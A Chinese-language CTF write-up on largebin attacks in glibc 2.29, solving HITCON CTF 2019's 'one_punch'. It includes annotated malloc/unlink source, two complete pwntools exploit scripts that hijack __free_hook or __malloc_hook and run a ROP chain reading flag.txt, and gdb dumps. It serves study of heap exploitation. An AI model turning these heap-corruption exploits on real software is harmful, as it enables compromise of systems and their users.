largebin_attack-glibc2.29

和glibc2.23版本相比,2.29的版本对unsorted bin的检查多了很多,导致unsorted bin attack几乎不可行,所以我们用largebin attack作为它的替代

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
       else //largebin
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck) //list里面有bin
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk)) //小于已有所有堆块的大小
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize; //解链,利用点1
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else //大于等于列表中已有的个别堆块
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd)) //找到第一个比他小的堆块
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd)) //两个相等,不进入
/* Always insert in the second position. */
fwd = fwd->fd;
else //不等就插入
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim; //利用点2
}
bck = fwd->bk;
}
}
else //largebin队列为空
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

关于绕过unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
for (;; )
{
/* Skip rest of block if there are no more set bits in this block. */
if (bit > map || bit == 0)
{
do
{
if (++block >= BINMAPSIZE) /* out of bins */
goto use_top;
}
while ((map = av->binmap[block]) == 0);

bin = bin_at (av, (block << BINMAPSHIFT));
bit = 1;
}

/* Advance to bin with set bit. There must be one. */
while ((bit & map) == 0)
{
bin = next_bin (bin);
bit <<= 1;
assert (bit != 0);
}

/* Inspect the bin. It is likely to be non-empty */
victim = last (bin);

/* If a false alarm (empty bin), clear the bit. */
if (victim == bin)
{
av->binmap[block] = map &= ~bit; /* Write through */
bin = next_bin (bin);
bit <<= 1;
}

else
{ //想绕过unlink就不进入这个
size = chunksize (victim);

/* We know the first chunk in this bin is big enough to use. */
assert ((unsigned long) (size) >= (unsigned long) (nb));

remainder_size = size - nb;

/* unlink */
unlink_chunk (av, victim);

构造的条件:

1
2
3
4
largebin和unsortedbin中各有一个chunk;
largebin的fd_nextsize为0;
largebin中的chunk->bk_nextsize可控制;
unsortedbin里的chunk大于largebin,并且如果进入largebin,是同一个index。(0x40)

例题:HITCONCTF 2019 one_punch

有后门函数,里面是malloc添加大小为0x217的堆块,而debuf函数是calloc,所以我们可以想到利用tcache,达到任意地址写的目的

在堆块里的第一个chunk是用来存tcache的地址的,calloc是优先在unsortedbin里取堆块的,而后门里用的malloc,可以取tcache里的堆块
构造fake chunk 的fd_nextsize 和 bk_nextsize 使它free完之后可以将目的地址写入unsortedbin然后通过calloc将free_hook地址写入tcache相应位置,通过后门将我们的地址写入free_hook即可

方法一’s exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))


def cmd(c):
p.recvuntil("> ")
p.sendline(str(c))

def add(idx,name):
cmd(1)
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("name: ")
p.send(name)
def dele(idx):
cmd(4)
p.recvuntil("idx: ")
p.sendline(str(idx))

def show(idx):
cmd(3)
p.recvuntil("idx: ")
p.sendline(str(idx))

def edit(idx,name):
cmd(2)
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("name: ")
p.send(name)

def main(host,port=26976):
global p
if host:
p = remote(host,port)
else:
p = process("./one_punch")
# debug(0x0000000000015BB)
# gdb.attach(p,"b *setcontext+53")
gdb.attach(p)
add(2, 'a' * 0x217)
for i in range(2):
add(0, 'a' * 0x217)
dele(0)
show(0)
p.recvuntil(": ")
heap = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) - 0x480
for i in range(5):
add(0, 'a' * 0x217)
dele(0)
# gdb.attach(p)
dele(2)
show(2)
p.recvuntil(": ")
libc_base = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) - 0x1e4ca0

info("heap : " + hex(heap))
info("libc : " + hex(libc_base))

#overlapping

length = 0xe0
add(0, 'a' * length) #add->chunk2's site
add(0, 'a' * 0x80) #add->chunk2->next
edit(2, b'\x00' * length + p64(0) + p64(0x21)) #->chunk1
dele(0)
edit(2, b'\x00' * length + p64(0) + p64(0x31))
dele(0)
edit(2, b'\x00' * length + p64(0) + p64(0x3a1))
dele(0)
#三个chunk使得0xxxxxxxx148位置的被改写成0x301

for i in range(3):
add(1, 'b' * 0x3a8)
dele(1)


edit(2, b'\x00' * length + p64(0x300) + p64(0x570) + p64(0) + p64(0)+ p64(heap + 0x40) + p64(heap + 0x40))
dele(0) #-->0x140 into unsorted bin (storged the tcache 0x220 size chunk_addr)

add(0, b'c' * 0x100 + p64(libc.symbols['__free_hook']+libc_base)) #0x10-0x400 save the tcache_addr ## free chunk ->into 0x150
# gdb.attach(p)
cmd(str(50056)) #malloc 0x217 ->tcache

# 0x000000000012be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
p.send(p64(libc_base+0x000000000012be97)) #malloc write tcache bin -->free_hook

# 0x7f903816ae35 <setcontext+53>: mov rsp,QWORD PTR [rdx+0xa0]
# 0x7f903816ae3c <setcontext+60>: mov rbx,QWORD PTR [rdx+0x80]
# 0x7f903816ae43 <setcontext+67>: mov rbp,QWORD PTR [rdx+0x78]
# 0x7f903816ae47 <setcontext+71>: mov r12,QWORD PTR [rdx+0x48]
# 0x7f903816ae4b <setcontext+75>: mov r13,QWORD PTR [rdx+0x50]
# 0x7f903816ae4f <setcontext+79>: mov r14,QWORD PTR [rdx+0x58]
# 0x7f903816ae53 <setcontext+83>: mov r15,QWORD PTR [rdx+0x60]
# 0x7f903816ae57 <setcontext+87>: mov rcx,QWORD PTR [rdx+0xa8]
# 0x7f903816ae5e <setcontext+94>: push rcx
# 0x7f903816ae5f <setcontext+95>: mov rsi,QWORD PTR [rdx+0x70]
# 0x7f903816ae63 <setcontext+99>: mov rdi,QWORD PTR [rdx+0x68]
# 0x7f903816ae67 <setcontext+103>: mov rcx,QWORD PTR [rdx+0x98]
# 0x7f903816ae6e <setcontext+110>: mov r8,QWORD PTR [rdx+0x28]
# 0x7f903816ae72 <setcontext+114>: mov r9,QWORD PTR [rdx+0x30]
# 0x7f903816ae76 <setcontext+118>: mov rdx,QWORD PTR [rdx+0x88]
# 0x7f903816ae7d <setcontext+125>: xor eax,eax
# 0x7f903816ae7f <setcontext+127>: ret
# 00000000000026542: pop rdi; ret;
# 0x000000000012bdc9: pop rdx; pop rsi; ret;
# 0x0000000000047cf8: pop rax; ret;
# 0x00000000000cf6c5: syscall; ret;x
p_rdi = 0x0000000000026542+libc_base
p_rdx_rsi = 0x000000000012bdc9+libc_base
p_rax = 0x0000000000047cf8+libc_base
syscall_ret = 0x00000000000cf6c5+libc_base
payload = p64(libc.symbols["setcontext"]+libc_base+53)+p64(heap+0x1ac0)
payload += b'./flag.txt'+b'\x00'*6
payload += p64(0)*9 #offset 0x68
payload += p64(heap+0x1ad0) #rdi
payload += p64(0) #rsi
payload += p64(heap+0x2000) #rbp
payload += p64(0)*2 #rbx and rdx
payload += p64(0)*2
payload += p64(heap+0x1b78) # rsp
payload += p64(p_rax) #rcx
payload += p64(0xdeadbeef)
payload += p64(2)
payload += p64(syscall_ret)
payload += p64(p_rdi)+p64(3)+p64(p_rdx_rsi)+p64(0x80)+p64(heap+0x2d00)+p64(p_rax)+p64(0)+p64(syscall_ret)
payload += p64(p_rdi)+p64(1)+p64(p_rax)+p64(1)+p64(syscall_ret)
payload += p64(p_rdi)+p64(0)+p64(p_rax)+p64(0)+p64(syscall_ret)
edit(1,payload)
dele(1)
p.interactive()

if __name__ == "__main__":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
main(args['REMOTE'])
疑惑

1.为什么构造largebin的时候是在fd_nextsize & bk_nextsize填入目的地址,而fd还有bk都是0?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x55bad5321350 ◂— 0x0
RBX 0x55bad5321040 ◂— 0x0
RCX 0x301
RDX 0x55bad5321350 ◂— 0x0
RDI 0x55bad5321040 ◂— 0x0
RSI 0x0
R8 0x0
R9 0x0
R10 0x7f6e0102cae0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
R11 0x7f6e0102d3e0 (_nl_C_LC_CTYPE_class+256) ◂— 0x2000200020002
R12 0x7f6e01077c40 (main_arena) ◂— 0x0
R13 0x55bad53218b0 ◂— 0x616161616161 /* 'aaaaaa' */
R14 0x1
R15 0x220
RBP 0x870
RSP 0x7ffe7a82d4f0 ◂— 0x50000
RIP 0x7f6e00f26781 (unlink_chunk.isra+33) ◂— cmp rdi, qword ptr [rax + 0x18]
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x7f6e00f2676b <unlink_chunk.isra+11> and rax, 0xfffffffffffffff8
0x7f6e00f2676f <unlink_chunk.isra+15> cmp rax, qword ptr [rdi + rax]
0x7f6e00f26773 <unlink_chunk.isra+19> jne unlink_chunk.isra+213 <0x7f6e00f26835>


0x7f6e00f26779 <unlink_chunk.isra+25> mov rax, qword ptr [rdi + 0x10]
0x7f6e00f2677d <unlink_chunk.isra+29> mov rdx, qword ptr [rdi + 0x18]
0x7f6e00f26781 <unlink_chunk.isra+33> cmp rdi, qword ptr [rax + 0x18]
0x7f6e00f26785 <unlink_chunk.isra+37> jne unlink_chunk.isra+176 <0x7f6e00f26810>

0x7f6e00f26810 <unlink_chunk.isra+176> lea rdi, [rip + 0x11d1b6]
0x7f6e00f26817 <unlink_chunk.isra+183> call malloc_printerr <0x7f6e00f26580>

对比的地方是rdi和rax+0x18的位置,所以是fd_nextsize的内容要等于fake chunk

unlink:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) // 本题中,对应next chunk的fd_nextsize和bk_nextsize的位置
malloc_printerr ("corrupted double-linked list");

fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");

if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}

2.这个方法好像没用到真正的largebin attack,更像是unsortedbin attack?
好像这个方法用的是unlink,不是largebin

方法二’s exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
context.log_level = 'debug'
# host = '52.198.120.1'
# port = 48763

r = process('./one_punch')

binary = "./one_punch"
context.binary = binary
elf = ELF(binary)
try:
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
log.success("libc load success")
system_off = libc.symbols.system
log.success("system_off = "+hex(system_off))
except:
log.failure("libc not found !")

def name(index, name):
r.recvuntil("> ")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(index))
r.recvuntil(": ")
r.send(name)
pass

def rename(index,name):
r.recvuntil("> ")
r.sendline("2")
r.recvuntil(": ")
r.sendline(str(index))
r.recvuntil(": ")
r.send(name)

pass

def d(index):
r.recvuntil("> ")
r.sendline("4")
r.recvuntil(": ")
r.sendline(str(index))
pass

def show(index):
r.recvuntil("> ")
r.sendline("3")
r.recvuntil(": ")
r.sendline(str(index))

def magic(data):
r.recvuntil("> ")
r.sendline(str(0xc388))
time.sleep(0.1)
r.send(data)

# if len(sys.argv) == 1:
# r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})

# else:
# r = remote(host ,port)

if __name__ == '__main__':
# gdb.attach(r)

name(0,"A"*0x210)
d(0)
name(1,"A"*0x210)
d(1)
show(1)
r.recvuntil(" name: ")
heap = u64(r.recv(6).ljust(8,"\x00")) - 0x260
# print("heap = {}".format(hex(heap)))
print hex(heap)
for i in xrange(5):
name(2,"A"*0x210)
d(2)


name(0,"A"*0x210)
name(1,"A"*0x210)
d(0)
show(0)
r.recvuntil(" name: ")
libc = u64(r.recv(6).ljust(8,"\x00")) - 0x1e4ca0
print("libc = {}".format(hex(libc)))
d(1)

rename(2,p64(libc + 0x1e4c30))

name(0,"D"*0x90)
d(0)

# 构造largebin attack的堆块
# full count
for i in xrange(7):
name(0,"D"*0x80)
d(0)
for i in xrange(7):
name(0,"D"*0x200)
d(0)

#largebin 0x431
name(0,"D"*0x200)
name(1,"A"*0x210)
name(2,p64(0x21)*(0x90/8))
rename(2,p64(0x21)*(0x90/8)) #填充size
d(2)
# calloc从unsortedbin中取,不取tcache
name(2,p64(0x21)*(0x90/8))
rename(2,p64(0x21)*(0x90/8))
d(2)

d(0) #unsorted bin
d(1) #unlink
name(0,"A"*0x80)
name(1,"A"*0x80) #free 0x311 形成两个不一样的chunk

d(0) #chunk0 fd- > 0x550
d(1) # sum 0x431

name(0,"A"*0x88 + p64(0x421) + "D"*0x180 )
name(2,"A"*0x200) #将1和0合并,calloc改成2

d(1) #0x421
d(2) #0x211
name(2,"A"*0x200) #into largebin
rename(0,"A"*0x88 + p64(0x421) + p64(libc + 0x1e5090)*2 + p64(0) + p64(heap+0x10) ) #--> chunk1 构造largebin attack 的堆块
d(0)
d(2) #unlink 0x431
# gdb.attach(r)
# pause()
name(0,"./flag.txt\x00\x00" + "A"*0x1f0) #full the tcache size ,0x430 write './flag.txt' calloc之后将tcache的count填满
magic("ABCDE") #malloc -> tcache read chunk_addr(list has 2 chunk,this is the first)

add_rsp48 = libc + 0x000000000008cfd6
pop_rdi = libc + 0x0000000000026542
pop_rsi = libc + 0x0000000000026f9e
pop_rdx = libc + 0x000000000012bda6
pop_rax = libc + 0x0000000000047cf8
syscall = libc + 0xcf6c5

magic( p64(add_rsp48)) #malloc -> mnalloc_hook
gdb.attach(r)

name(0,p64(pop_rdi) + p64(heap + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall) +
p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall) +
p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(1) + p64(syscall)
)
r.interactive()

calloc之后有一个地方会跳转到malloc_hook的地方

1
2
0x7f05b5182a28 <calloc+40>     mov    rax, qword ptr [rip + 0x14a4c1]
0x7f05b5182a2f <calloc+47> mov rax, qword ptr [rax]
1
RAX  0x7f05b52cdc30 (__malloc_hook) —▸ 0x7f05b5175fd6 (_IO_vtable_check+118) ◂— add    rsp, 0x48
1
2
0x7f05b5182a32 <calloc+50>     test   rax, rax
0x7f05b5182a35 <calloc+53> jne calloc+720 <0x7f05b5182cd0>

此时stack的内容是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> stack 50
00:0000│ rsp 0x7ffc152a6c48 —▸ 0x7f1389569cda (calloc+730) ◂— test rax, rax
01:0008│ r8-1 0x7ffc152a6c50 ◂— 0x0
02:00100x7ffc152a6c58 —▸ 0x7ffc152a70a0 —▸ 0x7ffc152a70c0 —▸ 0x560a78448f60 ◂— push r15
03:00180x7ffc152a6c60 —▸ 0x560a78448150 ◂— xor ebp, ebp
04:00200x7ffc152a6c68 —▸ 0x7ffc152a71a0 ◂— 0x1
05:00280x7ffc152a6c70 ◂— 0x0
06:00300x7ffc152a6c78 —▸ 0x560a784483a1 ◂— mov rcx, rax
07:00380x7ffc152a6c80 ◂— 0x0
08:00400x7ffc152a6c88 ◂— 0xc800000000
09:00480x7ffc152a6c90 —▸ 0x7f13894f6542 (init_cacheinfo+242) ◂— pop rdi
0a:00500x7ffc152a6c98 —▸ 0x560a7a2674d0 ◂— './flag.txt' #这里开始就是rop
0b:00580x7ffc152a6ca0 —▸ 0x7f13894f6f9e (strip+190) ◂— pop rsi
0c:00600x7ffc152a6ca8 ◂— 0x0
0d:00680x7ffc152a6cb0 —▸ 0x7f1389517cf8 (mblen+104) ◂— pop rax
0e:00700x7ffc152a6cb8 ◂— 0x2
0f:00780x7ffc152a6cc0 —▸ 0x7f138959f6c5 (__time_syscall+5) ◂— syscall
10:00800x7ffc152a6cc8 —▸ 0x7f13894f6542 (init_cacheinfo+242) ◂— pop rdi
11:00880x7ffc152a6cd0 ◂— 0x3
12:00900x7ffc152a6cd8 —▸ 0x7f13894f6f9e (strip+190) ◂— pop rsi
13:00980x7ffc152a6ce0 —▸ 0x560a7a265000 ◂— 0x0
14:00a0│ 0x7ffc152a6ce8 —▸ 0x7f13895fbda6 (__lll_lock_wait_private+38) ◂— pop rdx
15:00a8│ 0x7ffc152a6cf0 ◂— 0x100
16:00b0│ 0x7ffc152a6cf8 —▸ 0x7f1389517cf8 (mblen+104) ◂— pop rax
17:00b8│ 0x7ffc152a6d00 ◂— 0x0
18:00c0│ 0x7ffc152a6d08 —▸ 0x7f138959f6c5 (__time_syscall+5) ◂— syscall
19:00c8│ 0x7ffc152a6d10 —▸ 0x7f13894f6542 (init_cacheinfo+242) ◂— pop rdi
1a:00d0│ 0x7ffc152a6d18 ◂— 0x1
1b:00d8│ 0x7ffc152a6d20 —▸ 0x7f13894f6f9e (strip+190) ◂— pop rsi
1c:00e00x7ffc152a6d28 —▸ 0x560a7a265000 ◂— 0x0
1d:00e80x7ffc152a6d30 —▸ 0x7f13895fbda6 (__lll_lock_wait_private+38) ◂— pop rdx
1e:00f0│ 0x7ffc152a6d38 ◂— 0x100
1f:00f8│ 0x7ffc152a6d40 —▸ 0x7f1389517cf8 (mblen+104) ◂— pop rax
20:01000x7ffc152a6d48 ◂— 0x1
21:01080x7ffc152a6d50 —▸ 0x7f138959f6c5 (__time_syscall+5) ◂— syscall
22:01100x7ffc152a6d58 ◂— 0x0
...

所以malloc就要用到rsp+0x48的位置
然后就会执行rop链getshell